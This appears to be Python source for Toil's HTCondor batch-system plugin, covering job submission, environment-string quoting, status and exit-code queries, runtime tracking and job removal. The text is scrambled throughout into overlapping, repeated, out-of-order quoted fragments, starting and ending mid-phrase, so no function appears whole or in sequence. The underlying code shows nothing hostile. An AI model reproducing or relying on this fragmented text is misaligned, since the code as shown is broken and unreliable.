IOError:", "timestamp runtime = time.time() - ad['EnteredCurrentStatus'] job_runtimes[jobID] = runtime return", "the runtime as a Unix timestamp runtime = time.time() -", "logger.error(\"HTCondor job {0} was held: '{1} (sub code {2})'\".format( batchJobID,", "(single or double) that are part of the value should", "return 1 elif status[ad['JobStatus']] == 'Completed': logger.debug(\"HTCondor job {0} completed", "Workaround for HTCondor Python bindings Unicode conversion bug command =", "HTCondor can be given the disk request def issueBatchJob(self, jobNode):", "Only consider the Toil jobs that are part of this", "self.batchJobIDs.values()] job_runtimes = {} for ad in ads: batchJobID =", "# Return the ClusterId return batchJobID def getRunningJobIDs(self): # Get", "self.runningJobs.add(jobID) # Add to allocated resources self.allocatedCpus[jobID] = int(math.ceil(cpu)) return", "be separated by a single space return '\"' + '", "int(ad['ExitCode']) elif status[ad['JobStatus']] == 'Held': logger.error(\"HTCondor job {0} was held:", "return jobID @classmethod def obtainSystemConstants(cls): # Since it's not always", "this file except in compliance with the License. You may", "@classmethod def obtainSystemConstants(cls): # Since it's not always clear what", "# Store dict for mapping Toil job ID to batch", "{1})\".format( batchJobID, status[ad['JobStatus']])) return None \"\"\" Implementation-specific helper methods \"\"\"", "'ToilJobKilled', 'True') def getJobExitCode(self, batchJobID): logger.debug(\"Getting exit code for HTCondor", "are part of the value should be duplicated env_string +=", "len(self.waitingJobs) > 0: activity = True jobID, cpu, memory, disk,", "task) in self.batchJobIDs.values()] job_runtimes = {} for ad in ads:", "obtainSystemConstants(cls): # Since it's not always clear what the max", "ad in ads: batchJobID = int(ad['ClusterId']) jobID = int(ad['ToilJobID']) if", "Make sure only one ClassAd was returned try: ads.next() except", "# Remove the job from the Schedd and return its", "except IOError: logger.error( \"Could not connect to HTCondor Collector at", "to HTCondor Collector at {0}\".format(condor_host)) raise except ValueError: logger.error( \"Could", "= ads.next() except StopIteration: logger.error( \"No HTCondor ads returned using", "{2})'\".format( batchJobID, ad['HoldReason'], ad['HoldReasonSubCode'])) # Remove the job from the", "make sure it's there and responding try: schedd.xquery(limit = 0)", "a relative path. submit_parameters = { 'executable': '/bin/sh', 'transfer_executable': 'False',", "bindings Unicode conversion bug command = command.encode('utf-8') # Execute the", "while len(self.waitingJobs) > 0: activity = True jobID, cpu, memory,", "returned using constraint: {0}\".format(requirements)) raise # Make sure only one", "self.handleLocalJob(jobNode) if localID: return localID else: self.checkResourceRequest(jobNode.memory, jobNode.cores, jobNode.disk) jobID", "job tuple self.newJobsQueue.put((jobID, jobNode.cores, jobNode.memory, jobNode.disk, jobNode.jobName, jobNode.command)) logger.debug(\"Issued the", "import htcondor import classad logger = logging.getLogger(__name__) class HTCondorBatchSystem(AbstractGridEngineBatchSystem): #", "jobID, cpu, memory, disk, jobName, command = self.waitingJobs.pop(0) # Prepare", "= self.connectSchedd() job_spec = '(ClusterId == {0})'.format(batchJobID) schedd.edit(job_spec, 'ToilJobKilled', 'True')", "software # distributed under the License is distributed on an", "Apache License, Version 2.0 (the \"License\"); you # may not", "None: self.waitingJobs.append(newJob) # Queue jobs as necessary: while len(self.waitingJobs) >", "batch job ID # TODO: Note that this currently stores", "# Return the Submit object return htcondor.Submit(submit_parameters) def submitJob(self, submitObj):", "return htcondor.Submit(submit_parameters) def submitJob(self, submitObj): # Queue the job using", "{0}\".format(batchJobID)) # Set the job to be killed when its", "'Held', 6: 'Transferring Output', 7: 'Suspended' } requirements = '(ClusterId", "from the Schedd and return 1 job_spec = 'ClusterId ==", "that a HTCondor Submit object can use. For examples of", "str import sys import os import logging import time import", "get disk allocation requests and ceil the CPU request. def", "StopIteration: pass else: logger.warning( \"Multiple HTCondor ads returned using constraint:", "continue # HTCondor stores the start of the runtime as", "entire value should be encapsulated in single quotes # Quote", "and ceil the CPU request. def createJobs(self, newJob): activity =", "stores the start of the runtime as a Unix timestamp", "{1}\".format( batchJobID, ad['ExitCode'])) # Remove the job from the Schedd", "import os import logging import time import math from toil.batchSystems.abstractGridEngineBatchSystem", "self.checkResourceRequest(jobNode.memory, jobNode.cores, jobNode.disk) jobID = self.getNextJobID() self.currentJobs.add(jobID) # Add the", "completed (Status: {1})\".format( batchJobID, status[ad['JobStatus']])) return None \"\"\" Implementation-specific helper", "jobStore directory if using a local file store with a", "and schedd_name: logger.debug( \"Connecting to HTCondor Schedd {0} using Collector", "memory available # in an HTCondor slot might be, use", "it's not always clear what the max cpus and max", "requests cpu = int(math.ceil(cpu)) # integer CPUs memory = float(memory)/1024", "batch queue, handle locally localID = self.handleLocalJob(jobNode) if localID: return", "import classad logger = logging.getLogger(__name__) class HTCondorBatchSystem(AbstractGridEngineBatchSystem): # When using", "return None \"\"\" Implementation-specific helper methods \"\"\" def connectSchedd(self): '''Connect", "Schedd and return a Schedd object''' condor_host = os.getenv('TOIL_HTCONDOR_COLLECTOR') schedd_name", "not always clear what the max cpus and max memory", "limitations under the License. from __future__ import absolute_import from builtins", "queue, handle locally localID = self.handleLocalJob(jobNode) if localID: return localID", "'request_memory': '{0:.3f}KB'.format(memory), 'request_disk': '{0:.3f}KB'.format(disk), 'leave_in_queue': '(JobStatus == 4)', '+IsToilJob': 'True',", "environment string that a HTCondor Submit object can use. For", "'True', '+ToilJobID': '{0}'.format(jobID), '+ToilJobName': '\"{0}\"'.format(jobName), '+ToilJobKilled': 'False', } # Return", "machine else: logger.debug(\"Connecting to HTCondor Schedd on local machine\") schedd", "and doesn't # seem to be used self.batchJobIDs[jobID] = (batchJobID,", "self.batchJobIDs[jobID][0] logger.debug(\"Killing HTCondor job {0}\".format(batchJobID)) # Set the job to", "logger.debug(\"Submitting %r\", submitObj) # Submit job and get batch system", "to make sure it's there and responding try: schedd.xquery(limit =", "+ value.replace(\"'\", \"''\").replace('\"', '\"\"') + \"'\" env_items.append(env_string) # The entire", "file store with a relative path. submit_parameters = { 'executable':", "key, value in self.boss.environment.items(): # Each variable should be in", "with schedd.transaction() as txn: batchJobID = submitObj.queue(txn) # Return the", "or double) that are part of the value should be", "Toil job ID to batch job ID # TODO: Note", "# If TOIL_HTCONDOR_ variables are set, use them to find", "1: 'Idle', 2: 'Running', 3: 'Removed', 4: 'Completed', 5: 'Held',", "ads.next() except StopIteration: logger.error( \"No HTCondor ads returned using constraint:", "objects # and so that we can get disk allocation", "be encapsulated in single quotes # Quote marks (single or", "be in the form of <key>='<value>' env_string = key +", "to allocated resources self.allocatedCpus[jobID] = int(math.ceil(cpu)) return activity def prepareSubmission(self,", "quotes # Quote marks (single or double) that are part", "Worker(AbstractGridEngineBatchSystem.Worker): # Override the createJobs method so that we can", "'True') def getJobExitCode(self, batchJobID): logger.debug(\"Getting exit code for HTCondor job", "OF ANY KIND, either express or implied. # See the", "WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.", "of this workflow batchJobIDs = [batchJobID for (batchJobID, task) in", "HTCondor ads returned using constraint: {0}\".format(requirements)) if ad['ToilJobKilled']: logger.debug(\"HTCondor job", "&& (IsToilJob)' projection = ['ClusterId', 'ToilJobID', 'EnteredCurrentStatus'] schedd = self.connectSchedd()", "job {0} was killed by Toil\".format(batchJobID)) # Remove the job", "ANY KIND, either express or implied. # See the License", "See the License for the specific language governing permissions and", "disk in KB # Workaround for HTCondor Python bindings Unicode", "TODO: Transfer the jobStore directory if using a local file", "batchJobID, status[ad['JobStatus']])) return None \"\"\" Implementation-specific helper methods \"\"\" def", "int(ad['ClusterId']) jobID = int(ad['ToilJobID']) if not (batchJobID in batchJobIDs): continue", "and so that we can get disk allocation requests and", "mapping Toil job ID to batch job ID # TODO:", "sure only one ClassAd was returned try: ads.next() except StopIteration:", "at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable", "for the specific language governing permissions and # limitations under", "if ad['ToilJobKilled']: logger.debug(\"HTCondor job {0} was killed by Toil\".format(batchJobID)) #", "Add the jobNode.disk and jobNode.jobName to the job tuple self.newJobsQueue.put((jobID,", "= projection) # Make sure a ClassAd was returned try:", "command: %s with job id: %s \", jobNode.command, str(jobID)) return", "to in writing, software # distributed under the License is", "so that we can get disk allocation requests and ceil", "ClassAd was returned try: ad = ads.next() except StopIteration: logger.error(", "job_runtimes = {} for ad in ads: batchJobID = int(ad['ClusterId'])", "# See the License for the specific language governing permissions", "job_spec = 'ClusterId == {0}'.format(batchJobID) schedd.act(htcondor.JobAction.Remove, job_spec) return 1 elif", "not None: self.waitingJobs.append(newJob) # Queue jobs as necessary: while len(self.waitingJobs)", "self.batchJobIDs[jobID] = (batchJobID, None) # Add to queue of queued", "{0})'.format(batchJobID) schedd.edit(job_spec, 'ToilJobKilled', 'True') def getJobExitCode(self, batchJobID): logger.debug(\"Getting exit code", "directory if using a local file store with a relative", "batchJobIDs): continue # HTCondor stores the start of the runtime", "single quotes # Quote marks (single or double) that are", "+ ' '.join(env_items) + '\"' # Override the issueBatchJob method", "or agreed to in writing, software # distributed under the", "allocated resources self.allocatedCpus[jobID] = int(math.ceil(cpu)) return activity def prepareSubmission(self, cpu,", "it's there and responding try: schedd.xquery(limit = 0) except RuntimeError:", "= '(JobStatus == 2) && (IsToilJob)' projection = ['ClusterId', 'ToilJobID',", "required by applicable law or agreed to in writing, software", "int(math.ceil(cpu)) return activity def prepareSubmission(self, cpu, memory, disk, jobID, jobName,", "store with a relative path. submit_parameters = { 'executable': '/bin/sh',", "only one ClassAd was returned try: ads.next() except StopIteration: pass", "os import logging import time import math from toil.batchSystems.abstractGridEngineBatchSystem import", "BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either", "# ID, Task), but the second value is None by", "'+ToilJobKilled': 'False', } # Return the Submit object return htcondor.Submit(submit_parameters)", "TOIL_HTCONDOR_ variables are set, use them to find the Schedd", "schedd.xquery(requirements = requirements, projection = projection) # Only consider the", "{0}'.format(batchJobID) schedd.act(htcondor.JobAction.Remove, job_spec) return 1 elif status[ad['JobStatus']] == 'Completed': logger.debug(\"HTCondor", "Remove the job from the Schedd and return its exit", "for HTCondor job {0}\".format(batchJobID)) status = { 1: 'Idle', 2:", "using HTCondor, the Schedd handles scheduling class Worker(AbstractGridEngineBatchSystem.Worker): # Override", "projection = ['ClusterId', 'ToilJobID', 'EnteredCurrentStatus'] schedd = self.connectSchedd() ads =", "HTCondor Schedd with name {0}\".format(schedd_name)) raise else: schedd = htcondor.Schedd(schedd_ad)", "job ID to batch job ID # TODO: Note that", "what the max cpus and max memory available # in", "the value should be duplicated env_string += \"'\" + value.replace(\"'\",", "job_spec) return 1 else: # Job still running or idle", "to HTCondor Schedd and return a Schedd object''' condor_host =", "except in compliance with the License. You may # obtain", "workflow batchJobIDs = [batchJobID for (batchJobID, task) in self.batchJobIDs.values()] job_runtimes", "at {1}\".format( schedd_name, condor_host)) try: schedd_ad = htcondor.Collector(condor_host).locate( htcondor.DaemonTypes.Schedd, schedd_name)", "in batchJobIDs): continue # HTCondor stores the start of the", "helper methods \"\"\" def connectSchedd(self): '''Connect to HTCondor Schedd and", "Python bindings Unicode conversion bug command = command.encode('utf-8') # Execute", "= os.getenv('TOIL_HTCONDOR_COLLECTOR') schedd_name = os.getenv('TOIL_HTCONDOR_SCHEDD') # If TOIL_HTCONDOR_ variables are", "env_string = key + \"=\" # The entire value should", "agreed to in writing, software # distributed under the License", "value should be encapsulated in single quotes # Quote marks", "exit code for HTCondor job {0}\".format(batchJobID)) status = { 1:", "5: 'Held', 6: 'Transferring Output', 7: 'Suspended' } requirements =", "integer CPUs memory = float(memory)/1024 # memory in KB disk", "job_spec) return 1 elif status[ad['JobStatus']] == 'Completed': logger.debug(\"HTCondor job {0}", "job_spec) return int(ad['ExitCode']) elif status[ad['JobStatus']] == 'Held': logger.error(\"HTCondor job {0}", "held: '{1} (sub code {2})'\".format( batchJobID, ad['HoldReason'], ad['HoldReasonSubCode'])) # Remove", "7: 'Suspended' } requirements = '(ClusterId == {0})'.format(batchJobID) projection =", "distributed under the License is distributed on an \"AS IS\"", "self.connectSchedd() with schedd.transaction() as txn: batchJobID = submitObj.queue(txn) # Return", "memory in KB disk = float(disk)/1024 # disk in KB", "is checked schedd = self.connectSchedd() job_spec = '(ClusterId == {0})'.format(batchJobID)", "' '.join(env_items) + '\"' # Override the issueBatchJob method so", "requirements = '(ClusterId == {0})'.format(batchJobID) projection = ['JobStatus', 'ToilJobKilled', 'ExitCode',", "License. You may # obtain a copy of the License", "jobName, command): # Convert resource requests cpu = int(math.ceil(cpu)) #", "code {1}\".format( batchJobID, ad['ExitCode'])) # Remove the job from the", "\"Connecting to HTCondor Schedd {0} using Collector at {1}\".format( schedd_name,", "job ID # TODO: Note that this currently stores a", "'\"' + ' '.join(env_items) + '\"' # Override the issueBatchJob", "returned using constraint: {0}\".format(requirements)) if ad['ToilJobKilled']: logger.debug(\"HTCondor job {0} was", "reasonable values. max_cpu = 4 max_mem = 4e9 return max_cpu,", "import AbstractGridEngineBatchSystem import htcondor import classad logger = logging.getLogger(__name__) class", "get batch system ID (i.e. the ClusterId) batchJobID = self.submitJob(submitObj)", "newJob is not None: self.waitingJobs.append(newJob) # Queue jobs as necessary:", "self.connectSchedd() job_spec = '(ClusterId == {0})'.format(batchJobID) schedd.edit(job_spec, 'ToilJobKilled', 'True') def", "'''Connect to HTCondor Schedd and return a Schedd object''' condor_host", "issueBatchJob method so HTCondor can be given the disk request", "\"Could not connect to HTCondor Collector at {0}\".format(condor_host)) raise except", "requirements = '(JobStatus == 2) && (IsToilJob)' projection = ['ClusterId',", "express or implied. # See the License for the specific", "= key + \"=\" # The entire value should be", "2.0 (the \"License\"); you # may not use this file", "# memory in KB disk = float(disk)/1024 # disk in", "activity = True jobID, cpu, memory, disk, jobName, command =", "Remove the job from the Schedd and return 1 job_spec", "a single space return '\"' + ' '.join(env_items) + '\"'", "reasonable constants for now. # TODO: Use a htcondor.Collector().query() to", "the batch queue, handle locally localID = self.handleLocalJob(jobNode) if localID:", "jobNode.cores, jobNode.memory, jobNode.disk, jobNode.jobName, jobNode.command)) logger.debug(\"Issued the job command: %s", "command = command.encode('utf-8') # Execute the entire command as /bin/sh", "not use this file except in compliance with the License.", "prepareSubmission(self, cpu, memory, disk, jobID, jobName, command): # Convert resource", "activity = False if newJob is not None: self.waitingJobs.append(newJob) #", "HTCondor job {0}\".format(batchJobID)) status = { 1: 'Idle', 2: 'Running',", "= 'ClusterId == {0}'.format(batchJobID) schedd.act(htcondor.JobAction.Remove, job_spec) return 1 else: #", "conversion bug command = command.encode('utf-8') # Execute the entire command", "of <key>='<value>' env_string = key + \"=\" # The entire", "should be encapsulated in double quotes # Each variable should", "jobNode.memory, jobNode.disk, jobNode.jobName, jobNode.command)) logger.debug(\"Issued the job command: %s with", "Execute the entire command as /bin/sh -c \"command\" # TODO:", "job_spec = 'ClusterId == {0}'.format(batchJobID) schedd.act(htcondor.JobAction.Remove, job_spec) return int(ad['ExitCode']) elif", "'Held': logger.error(\"HTCondor job {0} was held: '{1} (sub code {2})'\".format(", "writing, software # distributed under the License is distributed on", "# Override the issueBatchJob method so HTCondor can be given", "elif status[ad['JobStatus']] == 'Completed': logger.debug(\"HTCondor job {0} completed with exit", "jobs as necessary: while len(self.waitingJobs) > 0: activity = True", "ceil the CPU request. def createJobs(self, newJob): activity = False", "Schedd {0} using Collector at {1}\".format( schedd_name, condor_host)) try: schedd_ad", "\"'\" + value.replace(\"'\", \"''\").replace('\"', '\"\"') + \"'\" env_items.append(env_string) # The", "disk allocation requests and ceil the CPU request. def createJobs(self,", "not (batchJobID in batchJobIDs): continue # HTCondor stores the start", "should be encapsulated in single quotes # Quote marks (single", "= self.getNextJobID() self.currentJobs.add(jobID) # Add the jobNode.disk and jobNode.jobName to", "# Licensed under the Apache License, Version 2.0 (the \"License\");", "logger.debug(\"HTCondor job {0} completed with exit code {1}\".format( batchJobID, ad['ExitCode']))", "entire command as /bin/sh -c \"command\" # TODO: Transfer the", "requirements, projection = projection) # Make sure a ClassAd was", "2: 'Running', 3: 'Removed', 4: 'Completed', 5: 'Held', 6: 'Transferring", "ad = ads.next() except StopIteration: logger.error( \"No HTCondor ads returned", "the Apache License, Version 2.0 (the \"License\"); you # may", "'/bin/sh', 'transfer_executable': 'False', 'arguments': '''\"-c '{0}'\"'''.format(command), 'environment': self.getEnvString(), 'request_cpus': '{0}'.format(cpu),", "job_spec = 'ClusterId == {0}'.format(batchJobID) schedd.act(htcondor.JobAction.Remove, job_spec) return 1 else:", "resource requests cpu = int(math.ceil(cpu)) # integer CPUs memory =", "memory, disk, jobID, jobName, command): # Convert resource requests cpu", "that are part of the value should be duplicated env_string", "str(jobID)) return jobID @classmethod def obtainSystemConstants(cls): # Since it's not", "use this file except in compliance with the License. You", "%r\", submitObj) # Submit job and get batch system ID", "== {0}'.format(batchJobID) schedd.act(htcondor.JobAction.Remove, job_spec) return 1 elif status[ad['JobStatus']] == 'Completed':", "HTCondor Collector at {0}\".format(condor_host)) raise except ValueError: logger.error( \"Could not", "set, use them to find the Schedd if condor_host and", "'(ClusterId == {0})'.format(batchJobID) projection = ['JobStatus', 'ToilJobKilled', 'ExitCode', 'HoldReason', 'HoldReasonSubCode']", "University of Wisconsin-Madison, WI. # # Licensed under the Apache", "constraint: {0}\".format(requirements)) raise # Make sure only one ClassAd was", "schedd = htcondor.Schedd(schedd_ad) # Otherwise assume the Schedd is on", "'ExitCode', 'HoldReason', 'HoldReasonSubCode'] schedd = self.connectSchedd() ads = schedd.xquery(requirements =", "CONDITIONS OF ANY KIND, either express or implied. # See", "killed by Toil\".format(batchJobID)) # Remove the job from the Schedd", "# Set the job to be killed when its exit", "jobID, jobName, command) logger.debug(\"Submitting %r\", submitObj) # Submit job and", "method so that we can use htcondor.Submit objects # and", "submit_parameters = { 'executable': '/bin/sh', 'transfer_executable': 'False', 'arguments': '''\"-c '{0}'\"'''.format(command),", "except StopIteration: pass else: logger.warning( \"Multiple HTCondor ads returned using", "logger.debug(\"HTCondor job {0} was killed by Toil\".format(batchJobID)) # Remove the", "Schedd to make sure it's there and responding try: schedd.xquery(limit", "string that a HTCondor Submit object can use. For examples", "is distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES", "{ 'executable': '/bin/sh', 'transfer_executable': 'False', 'arguments': '''\"-c '{0}'\"'''.format(command), 'environment': self.getEnvString(),", "HTCondor Schedd {0} using Collector at {1}\".format( schedd_name, condor_host)) try:", "{0}\".format(schedd_name)) raise else: schedd = htcondor.Schedd(schedd_ad) # Otherwise assume the", "in the form of <key>='<value>' env_string = key + \"=\"", "of the value should be duplicated env_string += \"'\" +", "%s \", jobNode.command, str(jobID)) return jobID @classmethod def obtainSystemConstants(cls): #", "return its exit code job_spec = 'ClusterId == {0}'.format(batchJobID) schedd.act(htcondor.JobAction.Remove,", "can get disk allocation requests and ceil the CPU request.", "jobName, command) logger.debug(\"Submitting %r\", submitObj) # Submit job and get", "schedd = self.connectSchedd() job_spec = '(ClusterId == {0})'.format(batchJobID) schedd.edit(job_spec, 'ToilJobKilled',", "HTCondor Schedd and return a Schedd object''' condor_host = os.getenv('TOIL_HTCONDOR_COLLECTOR')", "# Remove the job from the Schedd and return 1", "status[ad['JobStatus']])) return None \"\"\" Implementation-specific helper methods \"\"\" def connectSchedd(self):", "to find the Schedd if condor_host and schedd_name: logger.debug( \"Connecting", "cpu, memory, disk, jobID, jobName, command): # Convert resource requests", "the CPU request. def createJobs(self, newJob): activity = False if", "def connectSchedd(self): '''Connect to HTCondor Schedd and return a Schedd", "\"'\" env_items.append(env_string) # The entire string should be encapsulated in", "jobs that are part of this workflow batchJobIDs = [batchJobID", "return 1 else: # Job still running or idle or", "return batchJobID def getRunningJobIDs(self): # Get all Toil jobs that", "the Submit object return htcondor.Submit(submit_parameters) def submitJob(self, submitObj): # Queue", "in compliance with the License. You may # obtain a", "Collector at {1}\".format( schedd_name, condor_host)) try: schedd_ad = htcondor.Collector(condor_host).locate( htcondor.DaemonTypes.Schedd,", "for HTCondor Python bindings Unicode conversion bug command = command.encode('utf-8')", "(batchJobID, None) # Add to queue of queued (\"running\") jobs", "None \"\"\" Implementation-specific helper methods \"\"\" def connectSchedd(self): '''Connect to", "# Make sure only one ClassAd was returned try: ads.next()", "an environment string that a HTCondor Submit object can use.", "but the second value is None by default and doesn't", "== {0})'.format(batchJobID) projection = ['JobStatus', 'ToilJobKilled', 'ExitCode', 'HoldReason', 'HoldReasonSubCode'] schedd", "request. def createJobs(self, newJob): activity = False if newJob is", "classad logger = logging.getLogger(__name__) class HTCondorBatchSystem(AbstractGridEngineBatchSystem): # When using HTCondor,", "localID: return localID else: self.checkResourceRequest(jobNode.memory, jobNode.cores, jobNode.disk) jobID = self.getNextJobID()", "def prepareSubmission(self, cpu, memory, disk, jobID, jobName, command): # Convert", "HTCondorBatchSystem(AbstractGridEngineBatchSystem): # When using HTCondor, the Schedd handles scheduling class", "1 job_spec = 'ClusterId == {0}'.format(batchJobID) schedd.act(htcondor.JobAction.Remove, job_spec) return 1", "= ['ClusterId', 'ToilJobID', 'EnteredCurrentStatus'] schedd = self.connectSchedd() ads = schedd.xquery(requirements", "'EnteredCurrentStatus'] schedd = self.connectSchedd() ads = schedd.xquery(requirements = requirements, projection", "sure a ClassAd was returned try: ad = ads.next() except", "'+ToilJobName': '\"{0}\"'.format(jobName), '+ToilJobKilled': 'False', } # Return the Submit object", "You may # obtain a copy of the License at", "when its exit status is checked schedd = self.connectSchedd() job_spec", "not connect to HTCondor Schedd\") raise return schedd def getEnvString(self):", "and jobNode.jobName to the job tuple self.newJobsQueue.put((jobID, jobNode.cores, jobNode.memory, jobNode.disk,", "# Copyright (C) 2018, HTCondor Team, Computer Sciences Department, #", "for now. # TODO: Use a htcondor.Collector().query() to determine reasonable", "'environment': self.getEnvString(), 'request_cpus': '{0}'.format(cpu), 'request_memory': '{0:.3f}KB'.format(memory), 'request_disk': '{0:.3f}KB'.format(disk), 'leave_in_queue': '(JobStatus", "{0}\".format(requirements)) raise # Make sure only one ClassAd was returned", "value is None by default and doesn't # seem to", "Version 2.0 (the \"License\"); you # may not use this", "Schedd and return its exit code job_spec = 'ClusterId ==", "IOError: logger.error( \"Could not connect to HTCondor Collector at {0}\".format(condor_host))", "1 elif status[ad['JobStatus']] == 'Completed': logger.debug(\"HTCondor job {0} completed with", "OR CONDITIONS OF ANY KIND, either express or implied. #", "except StopIteration: logger.error( \"No HTCondor ads returned using constraint: {0}\".format(requirements))", "ads returned using constraint: {0}\".format(requirements)) raise # Make sure only", "with a relative path. submit_parameters = { 'executable': '/bin/sh', 'transfer_executable':", "Toil jobs that are part of this workflow batchJobIDs =", "\"Multiple HTCondor ads returned using constraint: {0}\".format(requirements)) if ad['ToilJobKilled']: logger.debug(\"HTCondor", "the job tuple self.newJobsQueue.put((jobID, jobNode.cores, jobNode.memory, jobNode.disk, jobNode.jobName, jobNode.command)) logger.debug(\"Issued", "} # Return the Submit object return htcondor.Submit(submit_parameters) def submitJob(self,", "# Quote marks (single or double) that are part of", "logger.error( \"No HTCondor ads returned using constraint: {0}\".format(requirements)) raise #", "if localID: return localID else: self.checkResourceRequest(jobNode.memory, jobNode.cores, jobNode.disk) jobID =", "the License is distributed on an \"AS IS\" BASIS, #", "= command.encode('utf-8') # Execute the entire command as /bin/sh -c", "Output', 7: 'Suspended' } requirements = '(ClusterId == {0})'.format(batchJobID) projection", "not completed (Status: {1})\".format( batchJobID, status[ad['JobStatus']])) return None \"\"\" Implementation-specific", "local machine else: logger.debug(\"Connecting to HTCondor Schedd on local machine\")", "command): # Convert resource requests cpu = int(math.ceil(cpu)) # integer", "'{1} (sub code {2})'\".format( batchJobID, ad['HoldReason'], ad['HoldReasonSubCode'])) # Remove the", "space return '\"' + ' '.join(env_items) + '\"' # Override", "jobNode.jobName to the job tuple self.newJobsQueue.put((jobID, jobNode.cores, jobNode.memory, jobNode.disk, jobNode.jobName,", "schedd.transaction() as txn: batchJobID = submitObj.queue(txn) # Return the ClusterId", "duplicated env_string += \"'\" + value.replace(\"'\", \"''\").replace('\"', '\"\"') + \"'\"", "the Schedd and return its exit code job_spec = 'ClusterId", "cpu = int(math.ceil(cpu)) # integer CPUs memory = float(memory)/1024 #", "= float(disk)/1024 # disk in KB # Workaround for HTCondor", "Schedd with name {0}\".format(schedd_name)) raise else: schedd = htcondor.Schedd(schedd_ad) #", "import sys import os import logging import time import math", "TODO: Note that this currently stores a tuple of (batch", "['JobStatus', 'ToilJobKilled', 'ExitCode', 'HoldReason', 'HoldReasonSubCode'] schedd = self.connectSchedd() ads =", "status is checked schedd = self.connectSchedd() job_spec = '(ClusterId ==", "separated by a single space return '\"' + ' '.join(env_items)", "ID # TODO: Note that this currently stores a tuple", "logger.debug(\"Connecting to HTCondor Schedd on local machine\") schedd = htcondor.Schedd()", "Get all Toil jobs that are running requirements = '(JobStatus", "elif status[ad['JobStatus']] == 'Held': logger.error(\"HTCondor job {0} was held: '{1}", "# Each variable should be in the form of <key>='<value>'", "htcondor.Schedd() # Ping the Schedd to make sure it's there", "resources self.allocatedCpus[jobID] = int(math.ceil(cpu)) return activity def prepareSubmission(self, cpu, memory,", "is on the local machine else: logger.debug(\"Connecting to HTCondor Schedd", "logger.debug(\"Issued the job command: %s with job id: %s \",", "disk = float(disk)/1024 # disk in KB # Workaround for", "that this currently stores a tuple of (batch system #", "by default and doesn't # seem to be used self.batchJobIDs[jobID]", "as necessary: while len(self.waitingJobs) > 0: activity = True jobID,", "return job_runtimes def killJob(self, jobID): batchJobID = self.batchJobIDs[jobID][0] logger.debug(\"Killing HTCondor", "'\"\"') + \"'\" env_items.append(env_string) # The entire string should be", "Add to queue of queued (\"running\") jobs self.runningJobs.add(jobID) # Add", "= projection) # Only consider the Toil jobs that are", "= time.time() - ad['EnteredCurrentStatus'] job_runtimes[jobID] = runtime return job_runtimes def", "batch system ID (i.e. the ClusterId) batchJobID = self.submitJob(submitObj) logger.debug(\"Submitted", "law or agreed to in writing, software # distributed under", "Override the createJobs method so that we can use htcondor.Submit", "activity def prepareSubmission(self, cpu, memory, disk, jobID, jobName, command): #", "still running or idle or doing something else logger.debug(\"HTCondor job", "Toil\".format(batchJobID)) # Remove the job from the Schedd and return", "the Schedd to make sure it's there and responding try:", "jobNode.disk, jobNode.jobName, jobNode.command)) logger.debug(\"Issued the job command: %s with job", "= self.batchJobIDs[jobID][0] logger.debug(\"Killing HTCondor job {0}\".format(batchJobID)) # Set the job", "jobNode.disk) jobID = self.getNextJobID() self.currentJobs.add(jobID) # Add the jobNode.disk and", "localID = self.handleLocalJob(jobNode) if localID: return localID else: self.checkResourceRequest(jobNode.memory, jobNode.cores,", "else logger.debug(\"HTCondor job {0} has not completed (Status: {1})\".format( batchJobID,", "returned try: ad = ads.next() except StopIteration: logger.error( \"No HTCondor", "Queue jobs as necessary: while len(self.waitingJobs) > 0: activity =", "+ \"=\" # The entire value should be encapsulated in", "(\"running\") jobs self.runningJobs.add(jobID) # Add to allocated resources self.allocatedCpus[jobID] =", "def submitJob(self, submitObj): # Queue the job using a Schedd", "# TODO: Transfer the jobStore directory if using a local", "with job id: %s \", jobNode.command, str(jobID)) return jobID @classmethod", "6: 'Transferring Output', 7: 'Suspended' } requirements = '(ClusterId ==", "id: %s \", jobNode.command, str(jobID)) return jobID @classmethod def obtainSystemConstants(cls):", "logger.debug(\"Killing HTCondor job {0}\".format(batchJobID)) # Set the job to be", "{0}'.format(batchJobID) schedd.act(htcondor.JobAction.Remove, job_spec) return 1 else: # Job still running", "using a Schedd transaction schedd = self.connectSchedd() with schedd.transaction() as", "'\"' # Override the issueBatchJob method so HTCondor can be", "= int(math.ceil(cpu)) # integer CPUs memory = float(memory)/1024 # memory", "sure it's there and responding try: schedd.xquery(limit = 0) except", "machine\") schedd = htcondor.Schedd() # Ping the Schedd to make", "disk, jobID, jobName, command): # Convert resource requests cpu =", "\"\"\" Implementation-specific helper methods \"\"\" def connectSchedd(self): '''Connect to HTCondor", "'.join(env_items) + '\"' # Override the issueBatchJob method so HTCondor", "logger.debug(\"HTCondor job {0} has not completed (Status: {1})\".format( batchJobID, status[ad['JobStatus']]))", "for (batchJobID, task) in self.batchJobIDs.values()] job_runtimes = {} for ad", "\"=\" # The entire value should be encapsulated in single", "HTCondor Schedd on local machine\") schedd = htcondor.Schedd() # Ping", "are set, use them to find the Schedd if condor_host", "newJob): activity = False if newJob is not None: self.waitingJobs.append(newJob)", "htcondor.Submit(submit_parameters) def submitJob(self, submitObj): # Queue the job using a", "= self.waitingJobs.pop(0) # Prepare the htcondor.Submit object submitObj = self.prepareSubmission(cpu,", "try: schedd_ad = htcondor.Collector(condor_host).locate( htcondor.DaemonTypes.Schedd, schedd_name) except IOError: logger.error( \"Could", "'Completed': logger.debug(\"HTCondor job {0} completed with exit code {1}\".format( batchJobID,", "The entire value should be encapsulated in single quotes #", "= (batchJobID, None) # Add to queue of queued (\"running\")", "= htcondor.Schedd(schedd_ad) # Otherwise assume the Schedd is on the", "using constraint: {0}\".format(requirements)) raise # Make sure only one ClassAd", "if self.boss.environment: for key, value in self.boss.environment.items(): # Each variable", "'executable': '/bin/sh', 'transfer_executable': 'False', 'arguments': '''\"-c '{0}'\"'''.format(command), 'environment': self.getEnvString(), 'request_cpus':", "job command: %s with job id: %s \", jobNode.command, str(jobID))", "{0} has not completed (Status: {1})\".format( batchJobID, status[ad['JobStatus']])) return None", "a tuple of (batch system # ID, Task), but the", "its exit code job_spec = 'ClusterId == {0}'.format(batchJobID) schedd.act(htcondor.JobAction.Remove, job_spec)", "consider the Toil jobs that are part of this workflow", "and # limitations under the License. from __future__ import absolute_import", "memory = float(memory)/1024 # memory in KB disk = float(disk)/1024", "env_items.append(env_string) # The entire string should be encapsulated in double", "raise # Make sure only one ClassAd was returned try:", "scheduling class 